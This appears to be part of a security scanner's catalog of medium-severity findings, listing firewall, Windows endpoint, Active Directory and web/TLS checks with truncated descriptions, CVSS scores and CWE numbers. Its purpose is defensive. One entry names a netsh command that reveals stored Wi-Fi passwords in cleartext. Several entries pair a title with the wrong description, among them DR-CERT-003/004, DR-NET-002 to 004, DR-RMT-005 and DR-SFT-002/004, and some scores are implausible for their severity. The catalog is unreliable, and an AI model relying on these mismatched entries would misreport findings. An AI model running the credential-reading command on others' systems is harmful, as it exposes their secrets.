ICMP echo (ping) to external hosts succeeds before splash auth completion. While less exploitable than DNS bypass, this ...
4.0 —
BA-004 MEDIUM Duplicate Firewall Rules Detected
Two or more firewall rules have identical source, destination, port, and action specifications. Duplicate rules indicate...
2.6 —
BA-005 MEDIUM Shadowed Rules — Unreachable Policy Entries
One or more firewall rules are completely covered (shadowed) by earlier, broader rules and will never be evaluated. Shad...
3.7 —
BA-010 MEDIUM FTP Permitted Through Firewall
A firewall rule permits FTP (TCP 20/21). FTP transmits credentials and data in plaintext and supports anonymous authenti...
6.5 —
BA-021 MEDIUM NTP Access Not Restricted to Trusted Sources
A firewall rule permits NTP (UDP 123) from any source without restriction. Open NTP servers can be abused for reflection...
8.6 —
BA-030 MEDIUM Deny Rules Without Logging Enabled
One or more deny rules do not have logging enabled. Blocked connection attempts are not captured in firewall logs.
5.3 —
BA-035 MEDIUM Server-to-Workstation Traffic Unrestricted
No rules restrict east-west traffic between server and workstation segments. Servers can initiate connections to worksta...
9.9 —
BA-037 MEDIUM 1:1 Static NAT Exposes Internal Host Directly to Internet
A 1:1 static NAT mapping exposes an internal host directly to the internet with full port translation. All ports on the ...
6.5 —
BA-038 MEDIUM IPv6 Traffic Not Addressed in Policy
The firewall configuration does not include explicit IPv6 policy rules. If IPv6 is enabled on interfaces, traffic may be...
4.8 —
BA-039 MEDIUM GRE/IPSec Tunnels Permitted Without Authentication Requirement
GRE (protocol 47) or IPSec (ESP/AH, protocols 50/51) tunnelling is permitted without authentication requirements enforce...
4.8 —
BA-041 MEDIUM Outbound SMTP Not Restricted to Mail Relay
Outbound SMTP (TCP 25) is permitted from internal networks to any external destination, allowing any internal host to se...
6.5 —
BA-042 MEDIUM TLS/SSL Bypass or Inspection Not Configured
Encrypted traffic (HTTPS/TLS) is permitted through the firewall without any indication of SSL/TLS inspection being confi...
5.3 —
BA-043 MEDIUM VoIP SIP Permitted Without Restriction
SIP (Session Initiation Protocol, UDP/TCP 5060/5061) is permitted from untrusted sources without source restriction. SIP...
7.3 —
BA-046 MEDIUM RDP Permitted on Non-Standard Ports
Remote Desktop Protocol is permitted on non-standard ports (not 3389), suggesting an attempt to obscure RDP exposure. Se...
9.4 —
BA-049 MEDIUM Cato: No Identity-Based Policy — All Rules Use IP/Network Only
All firewall rules use IP addresses or network objects with no user or group identity conditions, missing the zero-trust...
4.8 —
BA-051 MEDIUM Cloudflare Gateway: DNS Security Policy Not Configured
No DNS security policies are present. Malicious domain blocking, DoH restrictions, and DNS-based threat intelligence are...
5.4 —
BA-055 MEDIUM Executive Env: AV/Conferencing Ports Exposed Internally Without Restriction
Audio/visual and conferencing equipment ports (Crestron, AMX, Extron, Zoom Rooms hardware) are reachable from all intern...
5.5 —
BA-059 MEDIUM Firewall Rule Permits Traffic to Suspected Malicious IP ({ip})
A firewall rule permits traffic with a source or destination address flagged as SUSPECTED malicious by threat-intelligen...
6.5 —
DR-AD-001 MEDIUM Active Directory: Kerberoastable Accounts
{...} user account(s) have Service Principal Names (SPNs) set, making them vulnerable to Kerberoasting attacks. An attac...
6.5 CWE-521
DR-AD-005 MEDIUM Active Directory: LDAP Signing Not Enforced
LDAP signing is set to '{...}' instead of 'Require signing'. This allows LDAP traffic to be transmitted unsigned, enabli...
6.5 CWE-294
DR-AD-006 MEDIUM Authentication: Kerberos DES Encryption Enabled
The domain supports weak Kerberos encryption types: {...}. DES and RC4 are cryptographically broken and should not be us...
6.5 CWE-327
DR-AD-008 MEDIUM Active Directory: RBCD Configured
{...} account(s) have Resource-Based Constrained Delegation configured (msDS-AllowedToActOnBehalfOfOtherIdentity). RBCD ...
6.5 CWE-269 CWE-284
DR-AD-009 MEDIUM Active Directory: Domain Functional Level Outdated
The Active Directory domain or forest functional level is below the current recommended level for the installed domain c...
5.3 CWE-1104 CWE-16
DR-AD-012 MEDIUM Active Directory: krbtgt Key Not Rotated
The krbtgt account password has not been changed in an extended period (typically 180+ days). The krbtgt account is used...
6.8 CWE-324
DR-AD-014 MEDIUM Active Directory: SID History Abuse Risk
User or group accounts with non-empty SID History attributes were found. SID History is a legitimate migration feature t...
6.5 CWE-269
DR-BRW-002 MEDIUM Browser: Proxy Configured ({browser})
A browser-level proxy configuration was detected, separate from system proxy settings. This proxy intercepts all browser...
5.4 CWE-300
DR-BRW-003 MEDIUM Browser: Suspicious Bookmark Detected ({browser})
One or more browser bookmarks link to domains or IPs associated with known malicious infrastructure in the threat intell...
6.1 CWE-1104
DR-CERT-001 MEDIUM Certificate: Expired Certificate
One or more certificates in the local machine or current user certificate store have expired.
5.3 CWE-324
DR-CERT-002 MEDIUM Certificate: Expiring Soon
One or more certificates will expire within the next 30 days.
3.7 CWE-324
DR-CERT-003 MEDIUM Certificate: Self-Signed in Trust Store
Certificates using deprecated signature algorithms (SHA1) or insufficient key lengths (RSA < 2048 bits) were detected.
5.3 CWE-295
DR-CERT-004 MEDIUM Certificate: Weak Signature Algorithm
A self-signed certificate that is not from a well-known Certificate Authority was found in the Trusted Root Certificatio...
5.9 CWE-328
DR-CERT-005 MEDIUM Certificate: Weak Key Size
A certificate using a key size shorter than 2048 bits was detected. Keys shorter than 2048 bits are considered weak and ...
5.3 CWE-326
DR-CMP-001 MEDIUM Firewall: Profile Disabled
One or more Windows Firewall profiles (Domain, Private, or Public) are disabled, leaving network traffic unfiltered for ...
7.5 CWE-16
DR-CMP-002 MEDIUM Policy: Screen Lock Timeout Not Configured
The screen lock timeout (ScreenSaverGracePeriod or equivalent) is not configured or is set to a value greater than 15 mi...
5.0 CWE-16
DR-CMP-004 MEDIUM Network Hardening: IPv6 Transition Technologies
IPv6 transition technologies (Teredo, ISATAP, 6to4) are enabled, creating encapsulated IPv6-over-IPv4 tunnels that may b...
5.0 CWE-16
DR-CMP-005 MEDIUM Service Hardening: Remote Registry Enabled
The Remote Registry service (RemoteRegistry) is enabled and/or running, allowing remote systems to read and modify the l...
— CWE-16
DR-CRED-001 MEDIUM Credential Exposure: WiFi Passwords in Cleartext
Wireless network profiles on this system store passwords in cleartext. The 'netsh wlan show profiles key=clear' command ...
6.5 CWE-312
DR-CRED-002 MEDIUM Credential Exposure: Saved Remote Sessions
Saved remote access session configurations were found on this system, potentially containing stored credentials. This in...
5.5 CWE-522
DR-CRED-007 MEDIUM Credential Exposure: DPAPI Master Key Accessible
DPAPI (Data Protection API) master key material was found to be accessible on this system. DPAPI protects user credentia...
5.5 CWE-522
DR-CRED-009 MEDIUM Credential Exposure: SSH Private Keys Found
SSH private key files were found on this system. These keys may provide passwordless authentication to remote systems (L...
5.5 CWE-312 CWE-321
DR-EVT-002 MEDIUM Event Log: Account Lockouts Detected
Account lockout events (Event ID 4740) were detected in the security event log, indicating accounts are being locked due...
7.5 CWE-307
DR-EVT-005 MEDIUM Event Log: New Service Installations
New service installation events (Event ID 7045/4697) recorded in event logs. Service installations are a common persiste...
7.2 CWE-269
DR-EVT-006 MEDIUM Event Log: User Account Created
User account creation events (Event ID 4720) detected in security event logs. Account creation outside of normal provisi...
5.5 CWE-16
DR-HDN-002 MEDIUM System Hardening: UAC Prompt Behavior Weak
The UAC elevation prompt for administrators is configured to auto-elevate without prompting (ConsentPromptBehaviorAdmin ...
5.3 CWE-250
DR-HDN-003 MEDIUM Network Hardening: SMBv1 Protocol Enabled
The deprecated SMBv1 protocol is enabled on this endpoint, either as a server or client component.
8.1 CWE-757
DR-HDN-004 MEDIUM System Hardening: SMB Signing Not Required
SMB message signing is not required on this endpoint, allowing unsigned SMB communications.
5.9 CWE-345
DR-HDN-007 MEDIUM System Hardening: AutoRun Enabled
AutoRun/AutoPlay is enabled, allowing automatic execution of programs from removable media and network drives.
6.8 CWE-16
DR-HDN-010 MEDIUM System Hardening: Credential Guard Not Enabled
Windows Defender Credential Guard (Virtualization Based Security for credential isolation) is not enabled on this endpoi...
5.5 CWE-693
DR-HDN-012 MEDIUM Network Hardening: WPAD Enabled
Web Proxy Auto-Discovery (WPAD) protocol is enabled, allowing automatic proxy configuration via DNS or DHCP.
5.3 CWE-345
DR-HDN-013 MEDIUM Monitoring: PowerShell Script Block Logging Disabled
PowerShell script block logging is not enabled, preventing the recording of PowerShell script content in Windows Event L...
3.7 CWE-778
DR-HDN-016 MEDIUM System Hardening: PowerShell v2 Engine Available
The PowerShell v2 engine is still installed as a Windows feature, providing a downgrade path that bypasses modern loggin...
5.3 CWE-693
DR-HDN-018 MEDIUM Endpoint Protection: Defender Exclusions Present
Windows Defender has file, folder, process, or extension exclusions configured that exempt certain paths or processes fr...
5.0 CWE-693
DR-HDN-021 MEDIUM System Hardening: DEP Not System-Wide
Data Execution Prevention (DEP) is not configured to protect all programs, only essential Windows programs and services.
5.3 CWE-693
DR-HDN-024 MEDIUM Policy: Audit Policy Insufficient
The Windows audit policy does not log critical security events. Key audit categories such as logon events, privilege use...
3.7 CWE-778
DR-HDN-025 MEDIUM Service Hardening: Print Spooler Running
The Print Spooler service is running on a server where printing functionality is likely not required.
8.8 CWE-269
DR-HDN-026 MEDIUM Endpoint Protection: Application Whitelisting Not Configured
Neither AppLocker nor Windows Defender Application Control (WDAC) is configured on this system. Without application whit...
6.5 CWE-862
DR-HDN-027 MEDIUM System Hardening: HVCI Not Enabled
Hypervisor-Protected Code Integrity (HVCI / Memory Integrity) is not enabled on this system. HVCI uses virtualization-ba...
6.5 CWE-693
DR-HDN-028 MEDIUM System Hardening: CredSSP Delegation Enabled
Credential Security Support Provider (CredSSP) delegation is enabled, allowing this system to forward user credentials t...
6.5 CWE-522
DR-HDN-029 MEDIUM Endpoint Protection: AMSI Not Registered
No Antimalware Scan Interface (AMSI) provider is registered on this system. AMSI is a Windows interface that allows appl...
6.5 CWE-693
DR-HDN-031 MEDIUM System Hardening: PS Constrained Language Not Enforced
PowerShell is running in Full Language Mode rather than Constrained Language Mode (CLM). Full Language Mode allows unres...
6.5 CWE-862
DR-HDN-032 MEDIUM System Hardening: ASR Rules Not Configured
Windows Defender Attack Surface Reduction (ASR) rules are not configured or are set to audit-only mode. ASR rules block ...
6.5 CWE-693
DR-HDN-035 MEDIUM Endpoint Protection: Exploit Protection Not Configured
Windows Exploit Protection (successor to EMET) process mitigations are not configured. Exploit Protection applies per-pr...
6.5 CWE-693
DR-HDN-036 MEDIUM Network Hardening: SMB Client Signing Not Required
Outbound SMB connections from this host do not require packet signing. An attacker on the local network can intercept an...
5.9 CWE-924
DR-HDN-037 MEDIUM Access Control: Anonymous SAM Account Enumeration Allowed
Unauthenticated users can enumerate local user accounts through the SAM database. RestrictAnonymousSAM is not enabled.
5.3 CWE-200
DR-HDN-038 MEDIUM System Hardening: Built-in Administrator Exempt from UAC
The built-in Administrator account (RID 500) runs all processes with full elevated privileges without UAC prompts. Filte...
5.3 CWE-269
DR-HDN-042 MEDIUM Monitoring: Critical Audit Subcategories Disabled
Security-critical audit subcategories are not configured. Events in these categories are not being logged, preventing de...
5.3 CWE-778
DR-HDN-044 MEDIUM Monitoring: Advanced Audit Policy Overridden by Legacy Settings
Advanced Audit Policy subcategory settings are being silently overridden by legacy basic audit policy. Granular audit co...
3.7 CWE-778
DR-NET-002 MEDIUM Network: High-Risk Port Exposed
The Windows Firewall is disabled for the Private network profile.
7.5 CWE-284
DR-NET-003 MEDIUM Network: Proxy Configured
The Windows Firewall is disabled for the Public network profile, the most exposed profile.
9.8 CWE-300
DR-NET-004 MEDIUM Network: External DNS on Domain Host
A high-risk network port is listening on this endpoint (e.g., 445/SMB, 135-139/RPC, 3389/RDP, 23/Telnet, 21/FTP, 1433/MS...
5.3 CWE-284
DR-PERS-002 MEDIUM Persistence: COM Object Hijacking
COM object registrations in the HKCU registry hive override HKLM registrations for CLSIDs that are loaded by privileged ...
6.5 CWE-426
DR-PERS-006 MEDIUM Persistence: Print Monitor DLL
Custom print monitor DLLs were found registered in the system. Print monitors are loaded by the Print Spooler service (s...
6.5 CWE-427
DR-PRIV-003 MEDIUM Privilege Escalation: DLL Search Order Hijacking
One or more directories in the system PATH are writable by non-administrative users. Windows DLL search order loads DLLs...
6.7 CWE-427
DR-PRIV-005 MEDIUM Privilege Escalation: Unquoted Service Path
One or more Windows services have unquoted executable paths containing spaces, AND at least one intermediate directory i...
6.7 CWE-428
DR-PRIV-006 MEDIUM Access Control: Named Pipe Permission Weakness
Named pipes on this system have overly permissive access controls, allowing non-administrative users to read, write, or ...
5.5 CWE-732
DR-PROC-003 MEDIUM Process: No Executable Path
One or more running processes have no associated executable path on disk. This may indicate fileless malware executing e...
5.5 CWE-506
DR-RMT-002 MEDIUM Remote Desktop: RDP Enabled
Remote Desktop Protocol (RDP) is enabled on this system. RDP exposes the system to brute-force attacks, credential stuff...
7.5 CWE-284
DR-RMT-003 MEDIUM Service Hardening: WinRM Running
Windows Remote Management (WinRM) is running on this system. WinRM allows remote command execution via PowerShell remoti...
7.5 CWE-287
DR-RMT-004 MEDIUM Service Hardening: SSH Server Enabled
An SSH server (OpenSSH) is running on this Windows system. SSH on Windows endpoints is uncommon and may indicate unautho...
7.5 CWE-319
DR-RMT-005 MEDIUM Service Hardening: Multiple RMT Tools
The OpenSSH Server service is running on this Windows endpoint, providing SSH remote access.
5.3 CWE-16
DR-SFT-001 MEDIUM EOL Software: End-of-Life Software Installed
Software that has reached end-of-life and no longer receives security updates is installed on this endpoint.
7.5 CWE-1104
DR-SFT-002 MEDIUM Software: Remote Access Software
An installed software version is known to contain security vulnerabilities with available updates.
7.5 CWE-1104
DR-SFT-004 MEDIUM Software: P2P/Torrent Software
Software not included in the organization's approved software list was detected. This finding requires per-engagement po...
5.3 CWE-16
DR-SFT-008 MEDIUM Service Hardening: Services Running Under User Accounts
Services are running under domain or local user accounts rather than standard service accounts (LocalSystem, LocalServic...
6.5 CWE-269 CWE-522
DR-SFT-010 MEDIUM Software: Development or Diagnostic Tools on Production Server
Development, diagnostic, or offensive security tools are installed on a production server. These tools lower the post-ex...
5.3 CWE-489
DR-SRV-002 MEDIUM Service Hardening: IIS Default Site
IIS is running with the default web site active. The default site exposes server information, may serve default pages, a...
7.5 CWE-1188
DR-SRV-003 MEDIUM Service Hardening: Unnecessary Server Roles
Server roles (DHCP, DNS, AD DS, Hyper-V, IIS, etc.) are installed on this workstation. Server roles on workstations expa...
9.8 CWE-250
DR-SRV-004 MEDIUM Service Hardening: Web Server on Workstation
A web server (IIS, Apache, Nginx, XAMPP, WAMP, etc.) is running on this workstation. Web servers on endpoints are often ...
8.1 CWE-1104
DR-SYS-002 MEDIUM Patch Management: Missing Critical Updates
The endpoint has critical or important security updates pending installation, leaving known vulnerabilities unpatched.
7.8 CWE-1104
DR-SYS-003 MEDIUM Patch Management: Windows Update Disabled
The Windows Update service (wuauserv) is disabled or stopped, preventing automatic security update installation.
5.3 CWE-16
DR-SYS-006 MEDIUM Patch Management: No Backup Configured
No Windows backup solution (Windows Server Backup, System Restore, or third-party backup) is configured on this endpoint...
5.5 CWE-693
DR-SYS-007 MEDIUM Patch Management: Last Backup Over 30 Days
The most recent backup on this system is older than 30 days, indicating that backup jobs may have failed or been disable...
4.7 CWE-693
DR-SYS-008 MEDIUM System Hardening: BitLocker Not Enabled
BitLocker Drive Encryption is not enabled on one or more fixed drives, leaving data at rest unprotected.
4.6 CWE-311
DR-SYS-010 MEDIUM System Hardening: Secure Boot Not Enabled
UEFI Secure Boot is not enabled on this endpoint, allowing unsigned or tampered boot components to execute during system...
6.7 CWE-693
DR-SYS-011 MEDIUM Monitoring: Sysmon Not Installed
Sysmon (System Monitor) is not installed on this system. Sysmon provides detailed telemetry about process creation, netw...
5.3 CWE-778
DR-SYS-013 MEDIUM Network Hardening: DNS Zone Transfer Allowed
The DNS server role is installed and zone transfers (AXFR) are allowed to any requestor, or are not restricted to specif...
5.3 CWE-200
DR-USR-001 MEDIUM Account Management: Built-in Administrator Enabled
The built-in Administrator account (RID 500) is enabled on this endpoint.
5.3 CWE-250
DR-USR-003 MEDIUM Account Management: Password Never Expires
One or more interactive user accounts have the 'Password never expires' flag set.
5.3 CWE-250
DR-USR-004 MEDIUM Account Management: Excessive Local Administrators
The local Administrators group contains more than 3 members, indicating excessive administrative access.
4.3 CWE-262
DR-USR-006 MEDIUM Authentication: Account Lockout Not Configured
The account lockout threshold is set to 0 (disabled), allowing unlimited failed login attempts without locking the accou...
7.5 CWE-307
FR-006 MEDIUM Information Disclosure: WordPress Version
The WordPress version was identified from publicly accessible files or meta tags. A known version allows attackers to ta...
— —
FR-007 MEDIUM WordPress Login Page Accessible
The WordPress admin login page (wp-login.php) is publicly accessible. This exposes the authentication endpoint to brute-...
— —
FR-008 MEDIUM WordPress User Registration Enabled
WordPress user self-registration is enabled. Attackers may create accounts to gain authenticated access or exploit subsc...
— —
FR-015 MEDIUM WordPress REST API Exposed
The WordPress REST API is publicly accessible without authentication. This may expose site structure, user data, and plu...
— —
FR-018 MEDIUM WordPress User Enumeration via Author Archives
WordPress author archive pages (/?author=N) redirect to /author/<username>/, disclosing valid usernames. Enumerated user...
— —
FR-024 MEDIUM WordPress uploads Directory Browsing Enabled
Directory listing is enabled on the WordPress uploads directory. Attackers can enumerate all uploaded files, potentially...
— —
FR-029 MEDIUM Application Error Message Disclosure
Verbose error messages are returned by the application, potentially revealing stack traces, file paths, database queries...
— —
FR-030 MEDIUM Directory Listing Enabled
Directory listing is enabled on one or more paths, allowing unauthenticated users to browse file and directory contents....
— —
FR-031 MEDIUM WSDL/WADL Service Description Exposed
A WSDL or WADL service description file is publicly accessible. These files describe all available service methods, para...
— —
FR-033 MEDIUM Swagger/OpenAPI Documentation Exposed
Swagger UI or OpenAPI specification files are publicly accessible without authentication. These documents expose the ful...
— —
FR-044 MEDIUM TLS Certificate Self-Signed
The TLS certificate is self-signed and not issued by a trusted Certificate Authority. Clients cannot validate the server...
— —
FR-047 MEDIUM TLS BEAST Vulnerability
The server is vulnerable to the BEAST (Browser Exploit Against SSL/TLS) attack due to the use of TLS 1.0 with CBC cipher...
— —
FR-056 MEDIUM TLS SWEET32 Vulnerability
The server supports 3DES cipher suites, making long-lived TLS connections vulnerable to the SWEET32 birthday attack, whi...
— —
FR-057 MEDIUM HTTP Strict Transport Security (HSTS) Not Enforced
The Strict-Transport-Security (HSTS) header is not present or has an insufficient max-age. Without HSTS, browsers may co...
4.8 CWE-319
FR-058 MEDIUM TLS Certificate Uses Weak Signature Algorithm (MD5/SHA-1)
The TLS certificate is signed with a weak signature algorithm (MD5 or SHA-1). SHA-1 certificates are deprecated by major...
— —
FR-059 MEDIUM TLS Certificate Short Key Length
The TLS certificate uses an RSA key shorter than 2048 bits. Short RSA keys are susceptible to factoring attacks with suf...
— —
FR-061 MEDIUM Missing Content-Security-Policy Header
The Content-Security-Policy (CSP) header is absent. Without CSP, the application has no defense against Cross-Site Scrip...
— —
FR-062 MEDIUM Missing X-Frame-Options Header
The X-Frame-Options header is absent. Without this header, the page can be embedded in an iframe on any origin, enabling...
— —
FR-066 MEDIUM Missing Strict-Transport-Security Header
The HTTP Strict-Transport-Security (HSTS) header is absent. Without HSTS, browsers may connect over plain HTTP, and SSL ...
4.8 CWE-523
FR-067 MEDIUM Insecure Content-Security-Policy (Unsafe-Inline Allowed)
The Content-Security-Policy header contains 'unsafe-inline', which negates XSS protection by allowing inline JavaScript ...
— —
FR-068 MEDIUM Insecure Content-Security-Policy (Wildcard Source)
The Content-Security-Policy header contains a wildcard (*) source directive, allowing scripts or resources to be loaded ...
— —
FR-069 MEDIUM Session Cookie Missing Secure Flag
One or more session cookies are set without the Secure flag. Without the Secure flag, the cookie will be transmitted ove...
— —
FR-070 MEDIUM Session Cookie Missing HttpOnly Flag
One or more session cookies are set without the HttpOnly flag. Without HttpOnly, client-side JavaScript can read the coo...
— —
FR-071 MEDIUM Session Cookie Missing SameSite Attribute
Session cookies are set without the SameSite attribute, or with SameSite=None without Secure. This enables Cross-Site Re...
— —
FR-077 MEDIUM JWT Sensitive Data in Payload
Sensitive data (e.g., passwords, PII, internal IDs) was found in the JWT payload. JWT payloads are base64-encoded but no...
— —
FR-093 MEDIUM HTTP Parameter Pollution
HTTP Parameter Pollution (HPP) was detected. Supplying duplicate parameters causes inconsistent behavior in the applicat...
— —
FR-096 MEDIUM Hidden Form Fields Disclose Sensitive Data
Hidden HTML form fields contain sensitive data such as user IDs, prices, roles, or tokens that are not intended to be mo...
— —
FR-097 MEDIUM Client-Side Redirect via open() or location
JavaScript code uses window.location, window.open, or similar to redirect users based on URL parameters without validati...
— —
FR-112 MEDIUM Sensitive File Exposed — phpinfo()
A phpinfo() page is publicly accessible. This page reveals PHP version, loaded modules, configuration settings, environm...
— —
FR-116 MEDIUM Vulnerability Scanner Finding — Misconfiguration
A Nuclei scan identified a security misconfiguration in the application or server. Common examples include debug endpoin...
— —
FR-117 MEDIUM GraphQL Introspection Enabled
GraphQL introspection is enabled in the production environment. Introspection allows any client to retrieve the full sch...
— —
FR-121 MEDIUM Insufficient Logging and Monitoring
The application fails to generate adequate log entries for security-relevant events such as failed logins, access contro...
— —
FR-122 MEDIUM Verbose Error Messages Logged to Client
The application returns verbose error messages including stack traces, file paths, or internal state to the client. This...
— —
FR-124 MEDIUM Username Enumeration via Login Response
The login form returns different error messages for invalid usernames versus invalid passwords ('User not found' vs 'Inc...
— —
FR-125 MEDIUM Username Enumeration via Password Reset
The password reset form reveals whether a submitted email or username exists in the system through different response me...
— —
FR-126 MEDIUM Username Enumeration via Registration
The user registration form discloses whether a username or email is already registered, enabling enumeration of valid ac...
— —
FR-127 MEDIUM Weak Password Policy
The application accepts passwords that are too short or lack complexity requirements. Weak passwords are trivially compr...
5.9 CWE-521
FR-128 MEDIUM Multi-Factor Authentication Not Enforced
Multi-factor authentication (MFA) is not available or not enforced for privileged accounts. Single-factor authentication...
— —
FR-135 MEDIUM Long-Lived Session Without Expiration
Session tokens remain valid indefinitely or for excessively long periods. Long-lived sessions increase the window of opp...
— —
FR-140 MEDIUM Open Redirect
An open redirect vulnerability was detected. The application redirects users to a URL specified in a request parameter w...
6.1 CWE-20 CWE-601
FR-151 MEDIUM HTTP Method Override Accepted
The application accepts HTTP method override headers (X-HTTP-Method-Override, X-Method-Override) that substitute the act...
5.4 CWE-650
FR-156 MEDIUM Business Logic Flaw — Coupon/Discount Abuse
Coupon or discount codes can be applied multiple times per order, stacked beyond intended limits, or applied to ineligib...
— —
FR-159 MEDIUM Rate Limiting Not Enforced on Sensitive Endpoint
No rate limiting is applied to sensitive endpoints such as OTP verification, coupon redemption, password reset, or API c...
— —
FR-168 MEDIUM Authentication — Concurrent Session Not Restricted
The application allows unlimited concurrent sessions for a single user account. This makes it impossible to detect or pr...
— —
FR-169 MEDIUM HTTP Methods: Unsafe Methods Enabled
The web server responds to dangerous HTTP methods including PUT (file upload), DELETE (file deletion), or TRACE (XST — C...
— —
FR-170 MEDIUM Clickjacking Vulnerability
The application does not implement anti-clickjacking protections (X-Frame-Options or CSP frame-ancestors). The page can ...
4.3 CWE-1021
FR-186 MEDIUM HTTP Security Header — X-Frame-Options Incorrectly Configured
The X-Frame-Options header is present but misconfigured (e.g., set to ALLOWALL or using an invalid value). An incorrect ...
— —
FR-187 MEDIUM Content-Security-Policy — Unsafe-Eval Allowed
The Content-Security-Policy header contains 'unsafe-eval', which allows the use of eval(), setTimeout(), setInterval() w...
— —
FR-188 MEDIUM SSL/TLS Forward Secrecy: Not Supported
The server does not support cipher suites that provide Perfect Forward Secrecy (PFS). Without PFS, a compromise of the s...
— —
FR-191 MEDIUM Sensitive Data in GET Request Parameters
Sensitive data (passwords, session tokens, personal information) is transmitted in GET request query parameters. GET par...
— —
FR-192 MEDIUM Missing Rate Limiting on Password Reset
The password reset endpoint does not enforce rate limiting. An attacker can repeatedly request password resets for targe...
— —
FR-193 MEDIUM Insecure Redirect After Authentication
The post-authentication redirect URL is controlled by a user-supplied parameter (e.g., next=, redirect=, returnUrl=) wit...
— —
FR-201 MEDIUM Potential CDN Origin Bypass
A request with IP spoofing headers (X-Forwarded-For, X-Real-IP) returned a different Server header, suggesting the origi...
— —
FR-212 MEDIUM Information Disclosure: Debug/Trace Headers
Debug or trace response headers (e.g., X-Debug-Info, X-Request-Id with sensitive stack details, X-Trace) expose internal...
3.7 200 497
FR-217 MEDIUM Subdomain Takeover Indicator
A response pattern suggesting a potential subdomain takeover was detected. The subdomain may be claimable on the identif...
— —
FR-241 MEDIUM WordPress wp-cron.php Publicly Accessible
The WordPress wp-cron.php file is publicly accessible and can be triggered by external requests. Unrestricted access all...
5.3 284 16 200
FR-247 MEDIUM WordPress Directory Listing Enabled
Directory listing is enabled on a WordPress directory (wp-content, plugins, themes, or uploads). This allows enumeration...
5.3 200 548
FR-254 MEDIUM SSL/TLS Certificate: Self-Signed
The server presented a self-signed TLS certificate not anchored to a publicly trusted CA, preventing clients from verify...
— —
FR-256 MEDIUM SSL/TLS Vulnerability: SWEET32
3DES cipher suites are accepted, making the server susceptible to the SWEET32 birthday attack (CVE-2016-2183). An attack...
5.9 CWE-327
FR-257 MEDIUM SSL/TLS Vulnerability: BEAST
TLSv1.0 is enabled with CBC cipher suites, making the server susceptible to the BEAST attack (CVE-2011-3389). BEAST allo...
5.9 CWE-326 CWE-327
FR-258 MEDIUM SSL/TLS Vulnerability: LUCKY13
CBC cipher suites are accepted, making the server susceptible to the LUCKY13 timing attack (CVE-2013-0169). LUCKY13 allo...
5.9 CWE-326 CWE-327
FR-260 MEDIUM SSL/TLS Ciphers: Weak Cipher
A weak or deprecated cipher suite was identified in the server's TLS configuration. Weak ciphers may allow passive decry...
5.9 CWE-326 CWE-327
FR-282 MEDIUM CSV / Formula Injection
CSV/formula injection was detected. User-supplied input containing spreadsheet formula characters (=, +, -, @) is includ...
5.5 1236
FR-283 MEDIUM CRLF Injection
CRLF injection was detected. Carriage return and line feed characters in user input are reflected in HTTP response heade...
6.1 93 113
FR-285 MEDIUM HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution was detected. Duplicate query or body parameters with different values are processed inconsiste...
— —
FR-286 MEDIUM HTTP Method Tampering
An unexpected HTTP method was accepted by the server. Accepting non-standard methods (e.g., TRACE, PUT, DELETE, PATCH) m...
5.4 CWE-650
FR-287 MEDIUM HTTP Methods: Unsafe Methods Enabled
The HTTP TRACE method is enabled. TRACE echoes the full request including HTTP headers back to the client, enabling Cros...
5.4 16 693
FR-298 MEDIUM Insufficient Auth Failure Logging / No Brute-Force Detection
Authentication failures are not logged or no alerting is configured for repeated failures. Without logging, brute-force ...
— —
FR-299 MEDIUM Timing Attack — Non-Constant-Time Authentication
A statistically significant timing difference was observed between valid and invalid authentication attempts. Timing ora...
5.9 208 697
FR-303 MEDIUM JWT — Missing Expiry Claim (No exp)
The JWT token does not contain an 'exp' (expiry) claim. Tokens without expiry never become invalid, meaning a stolen tok...
5.3 613 287
FR-310 MEDIUM Session Timeout Absent or Excessive
The session does not expire after a reasonable period of inactivity, or no session timeout is configured. Long-lived ses...
— —
FR-311 MEDIUM Excessive Session Timeout Configured
The session cookie or JWT has an excessive lifetime (e.g., multiple days or weeks) that does not reflect the risk level ...
— —
FR-312 MEDIUM Session Cookie SameSite=None Without Secure Flag
A session cookie is set with SameSite=None but without the Secure flag. Without Secure, the cookie is transmitted over p...
— —
FR-313 MEDIUM Missing Secure Cookie Attribute: Secure
A non-session cookie lacks the Secure attribute. Without Secure, the cookie is transmitted over unencrypted HTTP connect...
4.3 614 1004 1275
FR-314 MEDIUM Missing Secure Cookie Attribute: HttpOnly
A non-session cookie lacks the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value, e...
4.3 614 1004 1275
FR-315 MEDIUM Missing Secure Cookie Attribute: SameSite
A cookie lacks the SameSite attribute. Without SameSite, the cookie is sent with cross-site requests, enabling CSRF atta...
4.3 614 1004 1275
FR-316 MEDIUM Misconfigured Secure Cookie Attribute: SameSite
A cookie has a misconfigured SameSite attribute (e.g., SameSite=None without Secure). Misconfigured SameSite settings ca...
4.3 614 1004 1275
FR-317 MEDIUM No Logout (Logoff) Function Detected
No logout or logoff function was identified in the application. Without an explicit logout mechanism, users cannot termi...
— —
FR-318 MEDIUM No Concurrent Session Limit Detected
The application allows unlimited concurrent sessions for a single user account. Without a concurrent session limit, comp...
— —
FR-331 MEDIUM Exposed Metrics Endpoint with Sensitive Data
An application metrics or health check endpoint is publicly accessible and exposes sensitive information such as databas...
7.5 200 284 497
FR-337 MEDIUM GraphQL Batch Query Attack Possible
GraphQL batch query execution is enabled without rate limiting. Batching allows multiple operations in a single request,...
— —
FR-406 MEDIUM CBC Mode Cipher Suites Accepted
The server accepts TLS cipher suites using Cipher Block Chaining (CBC) mode, which are vulnerable to padding oracle atta...
— CWE-327
FR-407 MEDIUM SSL/TLS Forward Secrecy: Cipher Suites
The server accepts cipher suites that do not provide forward secrecy (e.g., RSA key exchange without ECDHE or DHE), mean...
— CWE-326
FR-416 MEDIUM Nikto: {_nik_title}
A web server vulnerability or misconfiguration was identified by the Nikto scanner that does not map to a known Fracture...
— —
FR-417 MEDIUM Non-Standard Cipher Suites Accepted
The server accepts non-standard or experimental TLS cipher suites that may not have undergone the same level of cryptogr...
— CWE-327
FR-419 MEDIUM SHA-1 HMAC Cipher Suites Accepted
The server accepts TLS cipher suites using SHA-1 for HMAC authentication. SHA-1 is considered cryptographically weak due...
— CWE-328
FR-420 MEDIUM SSL/TLS Forward Secrecy: {_tsf_id}
A specific forward secrecy configuration issue was identified by testssl. The finding ID provides details on the exact c...
— CWE-326
FR-422 MEDIUM TLSv1.3 Not Supported
The server does not support TLS 1.3, the latest version of the Transport Layer Security protocol, which provides improve...
— CWE-326
FR-424 MEDIUM {proto} Enabled
